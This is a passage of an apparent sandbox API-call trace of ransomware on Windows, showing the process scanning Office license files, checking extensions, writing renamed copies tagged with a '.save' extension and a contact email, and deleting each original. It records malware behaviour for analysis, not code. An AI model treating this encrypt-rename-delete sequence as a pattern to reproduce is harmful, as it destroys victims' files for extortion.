lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0181.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0181.394] lstrlenW (lpString=".doc") returned 4 [0181.394] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.394] lstrlenW (lpString=".docx") returned 5 [0181.394] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.394] lstrlenW (lpString=".pdf") returned 4 [0181.394] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.394] lstrlenW (lpString=".xls") returned 4 [0181.394] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.394] lstrlenW (lpString=".xlsx") returned 5 [0181.394] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.394] lstrlenW (lpString=".ppt") returned 4 [0181.394] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.394] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0181.394] lstrlenW (lpString=".zip") returned 4 [0181.395] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.395] lstrlenW (lpString=".rar") returned 4 [0181.395] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.395] lstrlenW (lpString=".bz2") returned 4 [0181.395] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.395] lstrlenW (lpString=".7z") returned 3 [0181.395] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0181.395] lstrlenW (lpString=".dbf") returned 4 [0181.395] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0181.395] lstrlenW (lpString=".1cd") returned 4 [0181.395] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.395] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Grace-ppd.xrm-ms") returned 74 [0181.395] lstrlenW (lpString=".jpg") returned 4 [0181.395] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.396] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0181.396] lstrlenW (lpString="AccessR_Retail-pl.xrm-ms") returned 24 [0181.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0181.398] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=10631) returned 1 [0181.398] CloseHandle (hObject=0x528) returned 1 [0181.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 0x220 [0181.398] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0181.399] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.399] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0181.400] GetLastError () returned 0x0 [0181.400] ReadFile (in: hFile=0x528, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x2987, lpOverlapped=0x0) returned 1 [0181.403] WriteFile (in: hFile=0x434, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x2990, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x2990, lpOverlapped=0x0) returned 1 [0181.405] ReadFile (in: hFile=0x528, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.405] WriteFile (in: hFile=0x434, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x104, lpOverlapped=0x0) returned 1 [0181.405] SetEndOfFile (hFile=0x434) returned 1 [0181.405] CloseHandle (hObject=0x434) returned 1 [0181.406] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.406] SetEndOfFile (hFile=0x528) returned 1 [0181.410] CloseHandle (hObject=0x528) returned 1 [0181.410] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.413] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-pl.xrm-ms")) returned 1 [0181.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0181.414] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0181.414] lstrlenW (lpString=".doc") returned 4 [0181.414] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.414] lstrlenW (lpString=".docx") returned 5 [0181.414] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.414] lstrlenW (lpString=".pdf") returned 4 [0181.414] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.414] lstrlenW (lpString=".xls") returned 4 [0181.414] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.414] lstrlenW (lpString=".xlsx") returned 5 [0181.414] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.414] lstrlenW (lpString=".ppt") returned 4 [0181.414] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0181.415] lstrlenW (lpString=".zip") returned 4 [0181.415] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.415] lstrlenW (lpString=".rar") returned 4 [0181.415] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.415] lstrlenW (lpString=".bz2") returned 4 [0181.415] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.415] lstrlenW (lpString=".7z") returned 3 [0181.415] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0181.415] lstrlenW (lpString=".dbf") returned 4 [0181.415] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0181.415] lstrlenW (lpString=".1cd") returned 4 [0181.415] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0181.415] lstrlenW (lpString=".jpg") returned 4 [0181.415] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0181.415] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0181.415] lstrlenW (lpString=".doc") returned 4 [0181.415] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.416] lstrlenW (lpString=".docx") returned 5 [0181.416] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.416] lstrlenW (lpString=".pdf") returned 4 [0181.416] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.416] lstrlenW (lpString=".xls") returned 4 [0181.416] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.416] lstrlenW (lpString=".xlsx") returned 5 [0181.416] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.416] lstrlenW (lpString=".ppt") returned 4 [0181.416] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0181.416] lstrlenW (lpString=".zip") returned 4 [0181.416] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.416] lstrlenW (lpString=".rar") returned 4 [0181.416] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.416] lstrlenW (lpString=".bz2") returned 4 [0181.416] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.416] lstrlenW (lpString=".7z") returned 3 [0181.416] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.416] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0181.416] lstrlenW (lpString=".dbf") returned 4 [0181.417] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0181.417] lstrlenW (lpString=".1cd") returned 4 [0181.417] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.417] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-pl.xrm-ms") returned 74 [0181.417] lstrlenW (lpString=".jpg") returned 4 [0181.417] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.417] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0181.417] lstrlenW (lpString="AccessR_Retail-ppd.xrm-ms") returned 25 [0181.417] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0181.418] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=20778) returned 1 [0181.418] CloseHandle (hObject=0x528) returned 1 [0181.418] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 0x220 [0181.419] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0181.419] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.419] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.419] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x434 [0181.421] GetLastError () returned 0x0 [0181.421] ReadFile (in: hFile=0x528, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x512a, lpOverlapped=0x0) returned 1 [0181.424] WriteFile (in: hFile=0x434, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x5130, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x5130, lpOverlapped=0x0) returned 1 [0181.427] ReadFile (in: hFile=0x528, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.427] WriteFile (in: hFile=0x434, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x106, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x106, lpOverlapped=0x0) returned 1 [0181.427] SetEndOfFile (hFile=0x434) returned 1 [0181.427] CloseHandle (hObject=0x434) returned 1 [0181.427] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.428] SetEndOfFile (hFile=0x528) returned 1 [0181.722] CloseHandle (hObject=0x528) returned 1 [0181.723] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.723] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_retail-ppd.xrm-ms")) returned 1 [0181.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0181.724] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0181.724] lstrlenW (lpString=".doc") returned 4 [0181.724] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.725] lstrlenW (lpString=".docx") returned 5 [0181.725] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.725] lstrlenW (lpString=".pdf") returned 4 [0181.725] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.725] lstrlenW (lpString=".xls") returned 4 [0181.725] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.725] lstrlenW (lpString=".xlsx") returned 5 [0181.725] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.725] lstrlenW (lpString=".ppt") returned 4 [0181.725] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0181.725] lstrlenW (lpString=".zip") returned 4 [0181.725] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.725] lstrlenW (lpString=".rar") returned 4 [0181.725] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.725] lstrlenW (lpString=".bz2") returned 4 [0181.725] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.725] lstrlenW (lpString=".7z") returned 3 [0181.725] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0181.725] lstrlenW (lpString=".dbf") returned 4 [0181.725] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.725] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0181.725] lstrlenW (lpString=".1cd") returned 4 [0181.726] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0181.726] lstrlenW (lpString=".jpg") returned 4 [0181.726] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0181.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0181.726] lstrlenW (lpString=".doc") returned 4 [0181.726] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.726] lstrlenW (lpString=".docx") returned 5 [0181.726] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.726] lstrlenW (lpString=".pdf") returned 4 [0181.726] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.726] lstrlenW (lpString=".xls") returned 4 [0181.726] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.726] lstrlenW (lpString=".xlsx") returned 5 [0181.726] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.726] lstrlenW (lpString=".ppt") returned 4 [0181.726] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.726] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0181.726] lstrlenW (lpString=".zip") returned 4 [0181.726] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.726] lstrlenW (lpString=".rar") returned 4 [0181.726] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.727] lstrlenW (lpString=".bz2") returned 4 [0181.727] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.727] lstrlenW (lpString=".7z") returned 3 [0181.727] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0181.727] lstrlenW (lpString=".dbf") returned 4 [0181.727] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0181.727] lstrlenW (lpString=".1cd") returned 4 [0181.727] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.727] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Retail-ppd.xrm-ms") returned 75 [0181.727] lstrlenW (lpString=".jpg") returned 4 [0181.727] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.727] lstrcmpiW (lpString1=".xrm-ms", lpString2=".save") returned 1 [0181.727] lstrlenW (lpString="AccessR_Trial-ppd.xrm-ms") returned 24 [0181.727] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0181.729] GetFileSizeEx (in: hFile=0x528, lpFileSize=0x3f7ff14 | out: lpFileSize=0x3f7ff14*=20901) returned 1 [0181.729] CloseHandle (hObject=0x528) returned 1 [0181.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 0x220 [0181.729] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save")) returned 0xffffffff [0181.729] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x528 [0181.730] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.730] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.730] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms.id-b4197730.[seavays@aol.com].save"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0181.732] GetLastError () returned 0x0 [0181.732] ReadFile (in: hFile=0x528, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x51a5, lpOverlapped=0x0) returned 1 [0181.738] WriteFile (in: hFile=0x388, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x51b0, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x51b0, lpOverlapped=0x0) returned 1 [0181.739] ReadFile (in: hFile=0x528, lpBuffer=0x43fb020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3f7fecc, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesRead=0x3f7fecc*=0x0, lpOverlapped=0x0) returned 1 [0181.740] WriteFile (in: hFile=0x388, lpBuffer=0x43fb020*, nNumberOfBytesToWrite=0x104, lpNumberOfBytesWritten=0x3f7fc94, lpOverlapped=0x0 | out: lpBuffer=0x43fb020*, lpNumberOfBytesWritten=0x3f7fc94*=0x104, lpOverlapped=0x0) returned 1 [0181.740] SetEndOfFile (hFile=0x388) returned 1 [0181.740] CloseHandle (hObject=0x388) returned 1 [0181.740] SetFilePointerEx (in: hFile=0x528, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3f7fec0 | out: lpNewFilePointer=0x0) returned 1 [0181.740] SetEndOfFile (hFile=0x528) returned 1 [0181.744] CloseHandle (hObject=0x528) returned 1 [0181.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms.id-B4197730.[seavays@aol.com].save", dwFileAttributes=0x220) returned 1 [0181.745] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms" (normalized: "c:\\program files\\microsoft office\\root\\licenses16\\accessr_trial-ppd.xrm-ms")) returned 1 [0181.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0181.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0181.747] lstrlenW (lpString=".doc") returned 4 [0181.747] lstrcmpiW (lpString1=".doc", lpString2="m-ms") returned -1 [0181.747] lstrlenW (lpString=".docx") returned 5 [0181.747] lstrcmpiW (lpString1=".docx", lpString2="rm-ms") returned -1 [0181.747] lstrlenW (lpString=".pdf") returned 4 [0181.747] lstrcmpiW (lpString1=".pdf", lpString2="m-ms") returned -1 [0181.747] lstrlenW (lpString=".xls") returned 4 [0181.747] lstrcmpiW (lpString1=".xls", lpString2="m-ms") returned -1 [0181.747] lstrlenW (lpString=".xlsx") returned 5 [0181.747] lstrcmpiW (lpString1=".xlsx", lpString2="rm-ms") returned -1 [0181.747] lstrlenW (lpString=".ppt") returned 4 [0181.747] lstrcmpiW (lpString1=".ppt", lpString2="m-ms") returned -1 [0181.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0181.747] lstrlenW (lpString=".zip") returned 4 [0181.747] lstrcmpiW (lpString1=".zip", lpString2="m-ms") returned -1 [0181.747] lstrlenW (lpString=".rar") returned 4 [0181.747] lstrcmpiW (lpString1=".rar", lpString2="m-ms") returned -1 [0181.747] lstrlenW (lpString=".bz2") returned 4 [0181.747] lstrcmpiW (lpString1=".bz2", lpString2="m-ms") returned -1 [0181.747] lstrlenW (lpString=".7z") returned 3 [0181.747] lstrcmpiW (lpString1=".7z", lpString2="-ms") returned -1 [0181.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0181.748] lstrlenW (lpString=".dbf") returned 4 [0181.748] lstrcmpiW (lpString1=".dbf", lpString2="m-ms") returned -1 [0181.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0181.748] lstrlenW (lpString=".1cd") returned 4 [0181.748] lstrcmpiW (lpString1=".1cd", lpString2="m-ms") returned -1 [0181.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0181.748] lstrlenW (lpString=".jpg") returned 4 [0181.748] lstrcmpiW (lpString1=".jpg", lpString2="m-ms") returned -1 [0181.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 74 [0181.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\Licenses16\\AccessR_Trial-ppd.xrm-ms") returned 